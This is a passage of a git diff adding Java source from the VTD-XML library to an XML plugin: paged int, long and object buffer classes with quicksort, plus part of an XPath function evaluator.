== 0) { + lastBuffer = new int[pageSize]; + bufferArrayList.add(lastBuffer); + capacity = pageSize; + } else { + lastBufferIndex = Math.min((size>>exp),//+(((size&r)==0)? 0:1), + bufferArrayList.size - 1); + lastBuffer = (int[]) bufferArrayList.oa[lastBufferIndex]; + //lastBuffer = (int[]) bufferArrayList.get(bufferArrayList.size() - 1); + }*/ + if (this.size < this.capacity) { + //get the last buffer from the bufferListArray + //obtain the starting offset in that buffer to which the data is to be copied + //update length + //System.arraycopy(long_array, 0, lastBuffer, size % pageSize, long_array.length); + ((int[]) bufferArrayList.oa[size >> exp])[size & r] = i; + //((int[])bufferArrayList.oa[bufferArrayList.size-1])[size & r] = i; +// lastBuffer[size % pageSize] = i; + size += 1; + } else // new buffers needed + { + int[] newBuffer = new int[pageSize]; + size++; + capacity += pageSize; + bufferArrayList.add(newBuffer); + newBuffer[0] = i; + } +} +/** + * Returns the total allocated capacity of this buffer instance. + * @return int + */ +public final int getCapacity() { + return capacity; +} +/** + * Returns a single int array representing every int in this buffer instance + * @return int[] (null if there isn't anything left in the buffer + * @param startingOffset int + * @param len int + * @return int[] + */ +public int[] getIntArray(int startingOffset, int len) { + if (size <= 0 || startingOffset < 0) { + throw (new IllegalArgumentException()); + } + if ((startingOffset + len) > size) { + throw (new IndexOutOfBoundsException()); + } + int[] result = new int[len]; // allocate result array + +// int first_index = (int) (startingOffset / pageSize); +// int last_index = (int) ((startingOffset + len) / pageSize); +// if ((startingOffset + len) % pageSize == 0) { +// last_index--; +// } + int first_index = startingOffset >> exp; + int last_index = (startingOffset + len)>> exp; + if (((startingOffset + len) & r) == 0) { + last_index--; + } + + if (first_index == last_index) { + // to see if there is a need to go across buffer boundry + System.arraycopy( + (int[]) (bufferArrayList.get(first_index)), +// startingOffset % pageSize, + startingOffset & r, + result, + 0, + len); + } else { + int int_array_offset = 0; + for (int i = first_index; i <= last_index; i++) { + int[] currentChunk = (int[]) bufferArrayList.get(i); + if (i == first_index) // first section + { + System.arraycopy( + currentChunk, +// startingOffset % pageSize, + startingOffset & r, + result, + 0, +// pageSize - (startingOffset % pageSize)); + pageSize - (startingOffset & r)); +// int_array_offset += pageSize - (startingOffset) % pageSize; + int_array_offset += pageSize - (startingOffset & r); + } else if (i == last_index) // last sections + { + System.arraycopy( + currentChunk, + 0, + result, + int_array_offset, + len - int_array_offset); + + } else { + System.arraycopy(currentChunk, 0, result, int_array_offset, pageSize); + int_array_offset += pageSize; + } + } + } + return result; +} +/** + * Returns the page size of this buffer instance. + * Creation date: (7/17/03 6:38:02 PM) + * @return int + */ +public final int getPageSize() { + return pageSize; +} +/** + * Get the int at the location specified by index. + * @return int + * @param index int + */ +public final int intAt(int index) { + /*if (index > size-1) { + throw new IndexOutOfBoundsException(); + }*/ +// int pageNum = (int) index / pageSize; + int pageNum = index>>exp; + //System.out.println("page Number is "+pageNum); +// int offset = index % pageSize; + int offset = index & r; + return ((int[]) bufferArrayList.get(pageNum))[offset]; +} +/** + * Assigns a new int value to location index of the buffer instance. + * @param index int + * @param newValue int + */ +public final void modifyEntry(int index, int newValue) { + + /*if (index > size - 1) { + throw new IndexOutOfBoundsException(" index out of range"); + }*/ + +// ((int[]) bufferArrayList.get((int) (index / pageSize)))[index % pageSize] = + ((int[]) bufferArrayList.oa[index >> exp])[index & r] = + newValue; + + } +/** + * Returns the total number of int values in the buffer instance + * @return int + */ +public final int size() { + return size; +} +/** + * Returns the int array corresponding to all int values in this buffer instance + * @return int[] (null if the buffer is empty) + */ +public int[] toIntArray() { + if (size > 0) { + int s = size; + int[] resultArray = new int[size]; + //copy all the content int into the resultArray + int array_offset = 0; + for (int i = 0; s>0; i++) { + System.arraycopy( + (int[]) bufferArrayList.get(i), + 0, + resultArray, + array_offset, + (s=0){ + size = newSz; + return true; + } + else + return false; + } + + /** + * Sort the integers in the buffer + * @param order (as of version 2.9) + * it can be either ASCENDING or DESCENDING + */ + public void sort(int order) { + switch (order) { + case ASCENDING: + if (size > 0) + quickSort_ascending(0, size - 1); + break; + case DESCENDING: + if (size > 0) + quickSort_descending(0, size - 1); + break; + default: + throw new IllegalArgumentException("Sort type undefined"); + } + + } + + void quickSort_ascending (int lo, int hi) + { +// lo is the lower index, hi is the upper index +// of the region of array a that is to be sorted + //System.out.println("lo ==>"+lo); + //System.out.println("hi ==>"+hi); + int i=lo, j=hi; + int h; + //Object o; + int x=this.intAt((lo+hi)/2); + // partition + do + { + while (intAt(i)x) j--; + if (i<=j) + { + h=this.intAt(i); + modifyEntry(i,this.intAt(j)); + modifyEntry(j,h); + i++; + j--; + } + } while (i<=j); + // recursion + if (lo"+lo); + //System.out.println("hi ==>"+hi); + int i=lo, j=hi; + int h; + //Object o; + int x=this.intAt((lo+hi)/2); + // partition + do + { + while (intAt(i)>x) i++; + while (intAt(j)>exp),//+(((size&r)==0)? 0:1), + bufferArrayList.size - 1); + lastBuffer = (long[]) bufferArrayList.oa[lastBufferIndex]; + } + + if ((this.size + long_array.length) < this.capacity) { + //get the last buffer from the bufferListArray + //obtain the starting offset in that buffer to which the data is to be copied + //update length + if (this.size + long_array.length< ((lastBufferIndex+1)<> exp; + int z; + for (z=1;z<=k;z++){ + System.arraycopy(long_array,offset,(long[]) bufferArrayList.oa[lastBufferIndex+z], 0, pageSize); + offset += pageSize; + } + // copy the last part + System.arraycopy(long_array,offset,(long[]) bufferArrayList.oa[lastBufferIndex+z], 0, l & r); + } + size += long_array.length; + return; + } else // new buffers needed + { + + // compute the number of additional buffers needed +// int n = +// ((int) ((long_array.length + size) / pageSize)) +// + (((long_array.length + size) % pageSize) > 0 ? 1 : 0) +// - (int) (capacity / pageSize); + int n = + ((long_array.length + size) >> exp) + + (((long_array.length + size)&r) > 0 ? 1 : 0) + - (capacity >> exp); + // create these buffers + // add to bufferArrayList + //System.arraycopy(long_array, 0, lastBuffer, size % pageSize, capacity - size); + System.arraycopy(long_array, 0, lastBuffer, size & r, capacity - size); + + for (int i = 0; i < n; i++) { + long[] newBuffer = new long[pageSize]; + if (i < n - 1) { + // full copy + System.arraycopy( + long_array, + pageSize * i + capacity - size, + newBuffer, + 0, + pageSize); + } else { + // last page + System.arraycopy( + long_array, + pageSize * i + capacity - size, + newBuffer, + 0, + long_array.length+ size - pageSize*i - capacity); + } + bufferArrayList.add(newBuffer); + } + // update length + size += long_array.length; + // update capacity + capacity += n * pageSize; + // update + } +} +/** + * Append an integer to the end of this array buffer + * @param i long + */ +public final void append(long i) { + //long[] lastBuffer; + //int lastBufferIndex; + /*if (bufferArrayList.size == 0) { + lastBuffer = new long[pageSize]; + bufferArrayList.add(lastBuffer); + capacity = pageSize; + } else { + lastBufferIndex = Math.min((size>>exp),//+(((size&r)==0)? 0:1), + bufferArrayList.size - 1); + lastBuffer = (long[]) bufferArrayList.oa[lastBufferIndex]; + //lastBuffer = (long[]) bufferArrayList.get(bufferArrayList.size() - 1); + }*/ + if (this.size < this.capacity) { + //get the last buffer from the bufferListArray + //obtain the starting offset in that buffer to which the data is to be copied + //update length + //System.arraycopy(long_array, 0, lastBuffer, size % pageSize, long_array.length); + //lastBuffer[size % pageSize] = i; + ((long[]) bufferArrayList.oa[size >> exp])[size & r] = i; + //((long[])bufferArrayList.oa[bufferArrayList.size-1])[size & r] = i; + size += 1; + } else // new buffers needed + { + long[] newBuffer = new long[pageSize]; + size++; + capacity += pageSize; + bufferArrayList.add(newBuffer); + newBuffer[0] = i; + } +} +/** + * Get the capacity of the buffer. + * @return int + */ +public final int getCapacity() { + return capacity; +} +/** + * Return a selected chuck of long buffer as a long array. + * @return long[] + * @param startingOffset int + * @param len int + */ +public long[] getLongArray(int startingOffset, int len) { + if (size <= 0 || startingOffset < 0) { + throw (new IllegalArgumentException()); + } + if ((startingOffset + len) > size) { + throw (new IndexOutOfBoundsException()); + } + + long[] result = new long[len]; // allocate result array + + int first_index = (startingOffset >> exp); + int last_index = ((startingOffset + len) >>exp); + + //if ((startingOffset + len) % pageSize == 0) { + if (((startingOffset + len) & r) == 0) { + last_index--; + } + + if (first_index == last_index) { + // to see if there is a need to go across buffer boundry + System.arraycopy( + (long[]) (bufferArrayList.oa[first_index]), +// startingOffset % pageSize, + startingOffset & r, + result, + 0, + len); + } else { + int long_array_offset = 0; + for (int i = first_index; i <= last_index; i++) { + long[] currentChunk = (long[]) bufferArrayList.oa[i]; + if (i == first_index) // first section + { + System.arraycopy( + currentChunk, +// startingOffset % pageSize, + startingOffset & r, + result, + 0, +// pageSize - (startingOffset % r)); + pageSize - (startingOffset & r)); + long_array_offset += pageSize - (startingOffset & r); + } else if (i == last_index) // last sections + { + System.arraycopy( + currentChunk, + 0, + result, + long_array_offset, + len - long_array_offset); + + } else { + System.arraycopy(currentChunk, 0, result, long_array_offset, pageSize); + long_array_offset += pageSize; + } + } + } + + return result; +} +/** + * Get the buffer page size. + * @return int + */ +public final int getPageSize() { + return pageSize; +} +/** + * Get the long val at given index value. + * @return long + * @param index int + */ +public final long longAt(int index) { + /*if (index >= size) { + throw new IndexOutOfBoundsException(); + }*/ + int pageNum = (index >> exp); + // int offset = index % r; + int offset = index &r; + return ((long[]) bufferArrayList.oa[pageNum])[offset]; +} +/** + * Get the lower 32 bit of the integer at the given index. + * @return int + * @param index int + */ + public final int lower32At(int index) { + /*if ( index > size) { + throw new IndexOutOfBoundsException(); + }*/ + int pageNum = (index >> exp); + // int offset = index % pageSize; + int offset = index & r; + return (int) ((long[]) bufferArrayList.oa[pageNum])[offset]; +} +/** + * Modify the value at the index to a new val. + * @param index int + * @param newValue long + */ +public final void modifyEntry(int index, long newValue) { + + /*if ( index > size + 1) { + throw new IndexOutOfBoundsException(); + }*/ + //((long[]) bufferArrayList.get((int) (index / pageSize)))[index % pageSize] = + ((long[]) bufferArrayList.oa[index >> exp])[index & r] = + newValue; +} +/** + * Get the total number of longs in the buffer. + * @return int + */ +public final int size() { + return size; +} +/** + * Convert all longs into a long array. + * @return long[] + */ +public long[] toLongArray() { + if (size > 0) { + int s = size; + long[] resultArray = new long[size]; + //copy all the content int into the resultArray + int array_offset = 0; + for (int i = 0; s>0; i++) { + System.arraycopy( + (long[]) bufferArrayList.oa[i], + 0, + resultArray, + array_offset, + (s>exp)<= size) { + throw new IndexOutOfBoundsException(); + }*/ + int pageNum = (index >>exp); + int offset = index & r; + return (int) + ((((long[]) bufferArrayList.oa[pageNum])[offset] & (0xffffffffL << 32)) >> 32); + +} + + + /** + * set teh size of long buffer to zero, capacity + * untouched so long buffer can be reused without + * any unnecessary and additional allocation + * + */ + public final void clear(){ + size = 0; + } + + /** + * Set the size of FastLongBuffer to newSz if newSz is less than the + * capacity, otherwise return false + * @param newSz + * @return status of resize + * + */ + public final boolean resize(int newSz){ + if (newSz <= capacity && newSz >=0){ + size = newSz; + return true; + } + else + return false; + } +} + diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/FastObjectBuffer.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/FastObjectBuffer.java new file mode 100644 index 0000000..d825fb4 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/FastObjectBuffer.java @@ -0,0 +1,366 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; + +import java.util.ArrayList; + +/** + * Fast object array implementation + * + */ +public class FastObjectBuffer implements IObjectBuffer { + /* bufferArrayList is a resizable array list of int buffers + * + */ + private arrayList bufferArrayList; + + /** + * Total capacity of the ObjectBuffer + */ + private int capacity; + + /** + * Page size of the incremental growth of the object Buffer + */ + private int pageSize; + + /** + * Total number of objects in the IntBuffer + */ + protected int size; + private int exp; + private int r; + /** + * FastIntBuffer constructor comment. + */ + public FastObjectBuffer() { + size = 0; + capacity = 0; + pageSize = 1024; + exp = 10; + r = 1023; + bufferArrayList = new arrayList(); + } + /** + * Constructor with adjustable buffer page size of the value bfz + * @param e int + */ + public FastObjectBuffer(int e) { + if (e < 0) { + throw new IllegalArgumentException(); + } + capacity = size = 0; + pageSize = 1<>exp),//+(((size&r)==0)? 0:1), + bufferArrayList.size - 1); + lastBuffer = (Object[]) bufferArrayList.get(lastBufferIndex); + } + + if ((this.size + obj_array.length) < this.capacity) { + //get the last buffer from the bufferListArray + //obtain the starting offset in that buffer to which the data is to be copied + //update length + + //System.arraycopy(input, 0, lastBuffer, size % pageSize, input.length); + if (this.size + obj_array.length< ((lastBufferIndex+1)<> exp; + int z; + for (z=1;z<=k;z++){ + System.arraycopy(obj_array,offset, + (Object[]) bufferArrayList.get(lastBufferIndex+z), 0, pageSize); + offset += pageSize; + } + // copy the last part + System.arraycopy(obj_array, offset, + (Object[]) bufferArrayList.get(lastBufferIndex+z), 0, l & r); + } + size += obj_array.length; + return; + } else // new buffers needed + { + + // compute the number of additional buffers needed +// int n = +// ((int) ((int_array.length + size) / pageSize)) +// + (((int_array.length + size) % pageSize) > 0 ? 1 : 0) +// - (int) (capacity / pageSize); + int n = + ((obj_array.length + size) >> exp) + + (((obj_array.length + size) &r) > 0 ? 1 : 0) + - (capacity >> exp); + // create these buffers + // add to bufferArrayList + + //System.arraycopy(int_array, 0, lastBuffer, size % pageSize, capacity - size); + System.arraycopy(obj_array, 0, lastBuffer, size& r, capacity - size); + + for (int i = 0; i < n; i++) { + Object[] newBuffer = new Object[pageSize]; + if (i < n - 1) { + // full copy + System.arraycopy( + obj_array, + pageSize * i + capacity - size, + newBuffer, + 0, + pageSize); + } else { + // last page + System.arraycopy( + obj_array, + pageSize * i + capacity - size, + newBuffer, + 0, + obj_array.length + this.size - capacity - pageSize*i); + } + bufferArrayList.add(newBuffer); + } + // update length + size += obj_array.length; + // update capacity + capacity += n * pageSize; + // update + } +} +/** +* Append a single object to the end of this buffer Instance +* @param obj +*/ +final public void append(Object obj) { + + //Object[] lastBuffer; + //int lastBufferIndex; + /*if (bufferArrayList.size == 0) { + lastBuffer = new Object[pageSize]; + bufferArrayList.add(lastBuffer); + capacity = pageSize; + } else { + lastBufferIndex = Math.min((size>>exp),//+(((size&r)==0)? 0:1), + bufferArrayList.size - 1); + lastBuffer = (Object[]) bufferArrayList.oa[lastBufferIndex]; + //lastBuffer = (int[]) bufferArrayList.get(bufferArrayList.size() - 1); + }*/ + if (this.size < this.capacity) { + //get the last buffer from the bufferListArray + //obtain the starting offset in that buffer to which the data is to be copied + //update length + //System.arraycopy(long_array, 0, lastBuffer, size % pageSize, long_array.length); + ((Object[])bufferArrayList.oa[size>>exp])[size & r] = obj; +// lastBuffer[size % pageSize] = i; + size += 1; + } else // new buffers needed + { + Object[] newBuffer = new Object[pageSize]; + size++; + capacity += pageSize; + bufferArrayList.add(newBuffer); + newBuffer[0] = obj; + } +} +/** +* Returns the total allocated capacity of this buffer instance. +* @return int +*/ +final public int getCapacity() { + return capacity; +} +/** +* Returns a single object array representing every object in this buffer instance +* @return Object[] (null if there isn't anything left in the buffer +* @param startingOffset int +* @param len int +* @return Object[] +*/ +public Object[] getObjectArray(int startingOffset, int len) { + if (size <= 0 || startingOffset < 0) { + throw (new IllegalArgumentException()); + } + if ((startingOffset + len) > size) { + throw (new IndexOutOfBoundsException()); + } + Object[] result = new Object[len]; // allocate result array + +// int first_index = (int) (startingOffset / pageSize); +// int last_index = (int) ((startingOffset + len) / pageSize); +// if ((startingOffset + len) % pageSize == 0) { +// last_index--; +// } + int first_index = startingOffset >> exp; + int last_index = (startingOffset + len)>> exp; + if (((startingOffset + len) & r) == 0) { + last_index--; + } + + if (first_index == last_index) { + // to see if there is a need to go across buffer boundry + System.arraycopy( + (Object[]) (bufferArrayList.get(first_index)), +// startingOffset % pageSize, + startingOffset & r, + result, + 0, + len); + } else { + int obj_array_offset = 0; + for (int i = first_index; i <= last_index; i++) { + Object[] currentChunk = (Object[]) bufferArrayList.get(i); + if (i == first_index) // first section + { + System.arraycopy( + currentChunk, +// startingOffset % pageSize, + startingOffset & r, + result, + 0, +// pageSize - (startingOffset % pageSize)); + pageSize - (startingOffset & r)); +// int_array_offset += pageSize - (startingOffset) % pageSize; + obj_array_offset += pageSize - (startingOffset & r); + } else if (i == last_index) // last sections + { + System.arraycopy( + currentChunk, + 0, + result, + obj_array_offset, + len - obj_array_offset); + + } else { + System.arraycopy(currentChunk, 0, result, obj_array_offset, pageSize); + obj_array_offset += pageSize; + } + } + } + return result; +} +/** +* Returns the page size of this buffer instance. +* Creation date: (7/17/03 6:38:02 PM) +* @return int +*/ +public final int getPageSize() { + return pageSize; +} +/** +* Get the object at the location specified by index. +* @return int +* @param index int +*/ +public final Object objectAt(int index) { + if ( index > size-1) { + throw new IndexOutOfBoundsException(); + } +// int pageNum = (int) index / pageSize; + int pageNum = index>>exp; + //System.out.println("page Number is "+pageNum); +// int offset = index % pageSize; + int offset = index & r; + return ((Object[]) bufferArrayList.get(pageNum))[offset]; +} +/** +* Assigns a new int value to location index of the buffer instance. +* @param index int +* @param newValue int +*/ +public final void modifyEntry(int index, Object newValue) { + + if (index > size - 1) { + throw new IndexOutOfBoundsException(); + } + +// ((int[]) bufferArrayList.get((int) (index / pageSize)))[index % pageSize] = + ((Object[]) bufferArrayList.get((index >> exp)))[index & r] = + newValue; + + } +/** +* Returns the total number of objects in the buffer instance +* @return int +*/ +public final int size() { + return size; +} +/** +* Returns the object array corresponding to all objects in this buffer instance +* @return Object[] (null if the buffer is empty) +*/ +public Object[] toObjectArray() { + if (size > 0) { + int s = size; + Object[] resultArray = new Object[size]; + //copy all the content int into the resultArray + int array_offset = 0; + for (int i = 0; s>0; i++) { + System.arraycopy( + (Object[]) bufferArrayList.get(i), + 0, + resultArray, + array_offset, + (s 1; + case FuncName.STARTS_WITH: return argCount ==2; + case FuncName.CONTAINS: return argCount ==2; + case FuncName.SUBSTRING_BEFORE: return argCount==2; + case FuncName.SUBSTRING_AFTER: return argCount==2; + case FuncName.SUBSTRING: return argCount==2 || argCount==3; + case FuncName.STRING_LENGTH: return argCount<2; + case FuncName.NORMALIZE_SPACE: return argCount <2; + case FuncName.TRANSLATE: return argCount ==3; + case FuncName.BOOLEAN: return argCount ==1; + case FuncName.NOT: return argCount ==1; + case FuncName.TRUE: return argCount ==0; + case FuncName.FALSE: return argCount ==0; + case FuncName.LANG: return (argCount==1); + case FuncName.NUMBER: return argCount==1; + case FuncName.SUM: return (argCount==1 && argumentList.e.isNodeSet()); + case FuncName.FLOOR: return argCount==1; + case FuncName.CEILING: return argCount==1; + case FuncName.ROUND: return argCount==1; + case FuncName.ABS: return argCount==1; + case FuncName.ROUND_HALF_TO_EVEN : + return argCount==1 || argCount == 2; + case FuncName.ROUND_HALF_TO_ODD: + return argCount==1 || argCount == 2; + case FuncName.CODE_POINTS_TO_STRING: + break; + case FuncName.COMPARE: break; + case FuncName.UPPER_CASE: return argCount==1; + case FuncName.LOWER_CASE: return argCount==1; + case FuncName.ENDS_WITH: return argCount==2; + case FuncName.QNAME: break; + case FuncName.LOCAL_NAME_FROM_QNAME: + break; + case FuncName.NAMESPACE_URI_FROM_QNAME: + break; + case FuncName.NAMESPACE_URI_FOR_PREFIX: + break; + case FuncName.RESOLVE_QNAME: break; + case FuncName.IRI_TO_URI: break; + case FuncName.ESCAPE_HTML_URI: break; + case FuncName.ENCODE_FOR_URI: break; + case FuncName.MATCH_NAME: return argCount==1 || argCount == 2; + case FuncName.MATCH_LOCAL_NAME: return argCount==1 || argCount == 2; + case FuncName.NOT_MATCH_NAME: return argCount==1 || argCount == 2; + case FuncName.NOT_MATCH_LOCAL_NAME: return argCount==1 || argCount == 2; + case FuncName.CURRENT: return argCount==0; + case FuncName.GENERATE_ID : return argCount==0 || (argCount ==1 && argumentList.e.isNodeSet()); + case FuncName.FORMAT_NUMBER: return argCount==2 || argCount == 3; + case FuncName.KEY: return argCount==2; + case FuncName.DOCUMENT: return argCount==1 || (argCount==2 && argumentList.next.e.isNodeSet()); + case FuncName.SYSTEM_PROPERTY: return argCount==1 && argumentList.e.isString() ; + case FuncName.ELEMENT_AVAILABLE: return argCount==1 && argumentList.e.isString(); + case FuncName.FUNCTION_AVAILABLE: return argCount==1 && argumentList.e.isString(); + } + return false; + } + + private String getSystemProperty(VTDNav vn){ + String s = argumentList.e.evalString(vn); + return ""; + } + + private boolean isElementAvailable(VTDNav vn){ + String s = argumentList.e.evalString(vn); + return false; + } + + private boolean isFunctionAvailable(VTDNav vn){ + String s = argumentList.e.evalString(vn); + return false; + } + final public String toString(){ + if (argumentList == null) + return fname()+" ("+")"; + return fname()+" ("+argumentList +")"; + } + + private String formatNumber(VTDNav vn){ + return ""; + } + + private String getLocalName(VTDNav vn){ + if (argCount== 0){ + try{ + int index = vn.getCurrentIndex(); + int type = vn.getTokenType(index); + if (vn.ns && (type == VTDNav.TOKEN_STARTING_TAG + || type == VTDNav.TOKEN_ATTR_NAME)) { + int offset = vn.getTokenOffset(index); + int length = vn.getTokenLength(index); + if (length < 0x10000){ + if (vn.localNameIndex != index){ + vn.localNameIndex = index; + vn.localName = vn.toRawString(index); + } + return vn.localName; + } + else { + int preLen = length >> 16; + int QLen = length & 0xffff; + if (preLen != 0){ + if (vn.localNameIndex != index){ + vn.localNameIndex = index; + vn.localName = vn.toRawString(offset + preLen+1, QLen + - preLen - 1); + } + return vn.localName; + } + else { + if (vn.localNameIndex != index){ + vn.localNameIndex = index; + vn.localName = vn.toRawString(offset, QLen); + } + return vn.localName; + } + } + } else if (type == VTDNav.TOKEN_PI_NAME){ + //int offset = vn.getTokenOffset(index); + //int length = vn.getTokenLength(index); + if (vn.localNameIndex != index){ + vn.localNameIndex = index; + vn.localName = vn.toRawString(index); + } + return vn.localName; + }else + + return ""; + }catch(NavException e){ + return ""; // this will almost never occur + } + + } else if (argCount == 1){ + int a=evalFirstArgumentListNodeSet2(vn); + if (a == -1 || vn.ns == false) + return ""; + int type = vn.getTokenType(a); + /*if (type!=VTDNav.TOKEN_STARTING_TAG && type!= VTDNav.TOKEN_ATTR_NAME) + return "";*/ + if (type == VTDNav.TOKEN_STARTING_TAG || type== VTDNav.TOKEN_ATTR_NAME){ + try { + int offset = vn.getTokenOffset(a); + int length = vn.getTokenLength(a); + if (length < 0x10000) + return vn.toRawString(a); + else { + int preLen = length >> 16; + int QLen = length & 0xffff; + if (preLen != 0) + return vn.toRawString(offset + preLen+1, + QLen - preLen - 1); + else { + return vn.toRawString(offset, QLen); + } + } + } catch (NavException e) { + return ""; // this will almost never occur + } + }else if (type == VTDNav.TOKEN_PI_NAME){ + try{ + return vn.toRawString(a); + }catch(NavException e){ + return ""; + } + }else + return ""; + } else + throw new IllegalArgumentException + ("local-name()'s argument count is invalid"); + } + + private String getNameSpaceURI(VTDNav vn){ + if (argCount==0){ + try{ + int i = vn.getCurrentIndex(); + int type = vn.getTokenType(i); + + if (vn.ns && (type == VTDNav.TOKEN_STARTING_TAG + || type == VTDNav.TOKEN_ATTR_NAME)) { + int a = vn.lookupNS(); + if (a == 0) + return ""; + else + return vn.toString(a); + } + return ""; + }catch (Exception e){ + return ""; + } + }else if (argCount==1 && argumentList.e.isNodeSet()){ + vn.push2(); + int size = vn.contextStack2.size; + int a = -1; + try { + a = argumentList.e.evalNodeSet(vn); + } catch (Exception e) { + } + String s=""; + // return a; + try { + if (a == -1 || vn.ns == false) + ; + else { + int type = vn.getTokenType(a); + if (type == VTDNav.TOKEN_STARTING_TAG + || type == VTDNav.TOKEN_ATTR_NAME) + s= vn.toString(vn.lookupNS()); + + } + } catch (Exception e){} ; + vn.contextStack2.size = size; + argumentList.e.reset(vn); + vn.pop2(); + return s; + + }else + throw new IllegalArgumentException + ("namespace-uri()'s argument count is invalid"); + } + + private String getName(VTDNav vn){ + int a; + if (argCount==0){ + a = vn.getCurrentIndex(); + int type = vn.getTokenType(a); + + if (type == VTDNav.TOKEN_STARTING_TAG + || type == VTDNav.TOKEN_ATTR_NAME + || type == VTDNav.TOKEN_PI_NAME){ + try{ + if (vn.nameIndex!=a){ + vn.name = vn.toRawString(a); + vn.nameIndex = a; + } + return vn.name; + }catch(Exception e){ + return ""; + } + } + else + return ""; + } else if (argCount == 1){ + a = evalFirstArgumentListNodeSet2(vn); + try { + if (a == -1 || vn.ns == false) + return ""; + else { + int type = vn.getTokenType(a); + if (type == VTDNav.TOKEN_STARTING_TAG + || type == VTDNav.TOKEN_ATTR_NAME + || type == VTDNav.TOKEN_PI_NAME) + return vn.toRawString(a); + return ""; + + } + } catch (Exception e) { + } + return ""; + }else + throw new IllegalArgumentException + ("name()'s argument count is invalid"); + + } + // ISO 639 + // http://www.loc.gov/standards/iso639-2/php/English_list.php + // below are defined two-letter words + // + // ab , aa , af, ak, sq, am, ar, an, hy, as, av, ae, ay, az, bm + // ba , eu , be, bn, bh, bi, nb, bs, br, bg, my, es, ca, km, ch + // ce , ny , zh, za, cu, cv, kw, co, cr, hr, cs, da, dv, dv, nl + // dz , en , eo, et, ee, fo, fj, fi, nl, fr, ff, gd, gl, lg, ka + // de , ki , el, kl, gn, gu, ht, ha, he, hz, hi, ho, hu, is, io + // ig , id , ia, ie, iu, ik, ga, it, ja, jv, kl, kn, kr, ks, kk + // ki , rw , ky, kv, kg, ko, kj, ku, kj, ky, lo, la, lv, lb, li + // ln , lt , lu, lb, mk, mg, ms, ml, dv, mt, gv, mi, mr, mh, mo + // mn , na , nv, nv, nd, nr, ng, ne, nd, se, no, nb, nn, ii, nn, + // ie , oc , oj, cu, or, om, os, pi, pa, ps, fa, pl, pt, oc, pa, + // ps , qu , ro, rm, rn, ru, sm, sa, sc, gd, sr, sn, ii, si, sk, + // sl , so , st, nr, es, su, sw, ss, sv, tl, ty, tg, ta, tt, te, + // th , bo , ti, to, ts, tn, tr, tk, tw, ug, uk, ur, ug, uz, ca, + // ve , vi , vo, wa, cy, fy, wo, xh, yi, yo, za, zu + + private boolean lang(VTDNav vn, String s){ + // check the length of s + boolean b = false; + vn.push2(); + try { + while (vn.getCurrentDepth() >= 0) { + int i = vn.getAttrVal("xml:lang"); + if (i!=-1){ + b = vn.matchTokenString(i,s); + break; + } + vn.toElement(VTDNav.P); + } + } catch (NavException e) { + + } + vn.pop2(); + return b; + } + private boolean startsWith(VTDNav vn){ + String s2 = argumentList.next.e.evalString(vn); + if (argumentList.e.isNodeSet()){ + //boolean b = false; + int a = evalFirstArgumentListNodeSet(vn); + + if (a==-1) + return "".startsWith(s2); + else{ + try{ + int t = vn.getTokenType(a); + if (t!=VTDNav.TOKEN_STARTING_TAG&&t!=VTDNav.TOKEN_DOCUMENT) + return vn.startsWith(a, s2); + else + return vn.XPathStringVal_StartsWith(a,s2); + }catch(Exception e){ + } + return false; + } + } + String s1 = argumentList.e.evalString(vn); + return s1.startsWith(s2); + } + + private int evalFirstArgumentListNodeSet(VTDNav vn){ + vn.push2(); + int size = vn.contextStack2.size; + int a = -1; + try { + a = argumentList.e.evalNodeSet(vn); + if (a != -1) { + int t = vn.getTokenType(a); + if (t == VTDNav.TOKEN_ATTR_NAME) { + a++; + } + /*else if (t == VTDNav.TOKEN_STARTING_TAG) { + // a = vn.getText(); + }*/else if (t == VTDNav.TOKEN_PI_NAME){ + //if (a+1 < vn.vtdSize || vn.getTokenType(a+1)==VTDNav.TOKEN_PI_VAL) + a++; + //else + // a=-1; + } + + //else if (t== VTDNav.T) + } + } catch (Exception e) { + } + vn.contextStack2.size = size; + argumentList.e.reset(vn); + vn.pop2(); + return a; + } + + private int evalFirstArgumentListNodeSet2(VTDNav vn){ + vn.push2(); + int size = vn.contextStack2.size; + int a = -1; + try { + a = argumentList.e.evalNodeSet(vn); + } catch (Exception e) { + } + vn.contextStack2.size = size; + argumentList.e.reset(vn); + vn.pop2(); + return a; + } + + private boolean endsWith(VTDNav vn){ + String s2 = argumentList.next.e.evalString(vn); + if (argumentList.e.isNodeSet()){ + int a = evalFirstArgumentListNodeSet(vn); + if (a==-1) + return "".startsWith(s2); + else{ + try{ + int t=vn.getTokenType(a); + if (t!=VTDNav.TOKEN_STARTING_TAG && t!=VTDNav.TOKEN_DOCUMENT) + return vn.endsWith(a, s2); + else + return vn.XPathStringVal_EndsWith(a, s2); + }catch(Exception e){ + } + return false; + } + } + String s1 = argumentList.e.evalString(vn); + return s1.endsWith(s2); + } + + + + private boolean contains(VTDNav vn){ + String s2 = argumentList.next.e.evalString(vn); + if (argumentList.e.isNodeSet()){ + int a = evalFirstArgumentListNodeSet(vn); + if (a==-1) + return false; + try { + int t=vn.getTokenType(a); + if (t!=VTDNav.TOKEN_STARTING_TAG && t!=VTDNav.TOKEN_DOCUMENT) + return vn.contains(a, s2); + else + return vn.XPathStringVal_Contains(a,s2); + }catch (Exception e){ + return false; + } + } + String s1 = argumentList.e.evalString(vn); + //return s1.contains(s2); + return s1.indexOf(s2)!=-1; + //return (s1.i)) + } + + private String subString(VTDNav vn){ + if (argCount== 2){ + String s = argumentList.e.evalString(vn); + double d1 = Math.floor(argumentList.next.e.evalNumber(vn)+0.5d); + if (d1!=d1 || d1>s.length()) + return ""; + return s.substring(Math.max((int)(d1-1),0)); + } else if (argCount == 3){ + String s = argumentList.e.evalString(vn); + double d1 = Math.floor(argumentList.next.e.evalNumber(vn) + 0.5d); + double d2 = Math + .floor(argumentList.next.next.e.evalNumber(vn) + 0.5d); + //int i1 = Math.max(0, 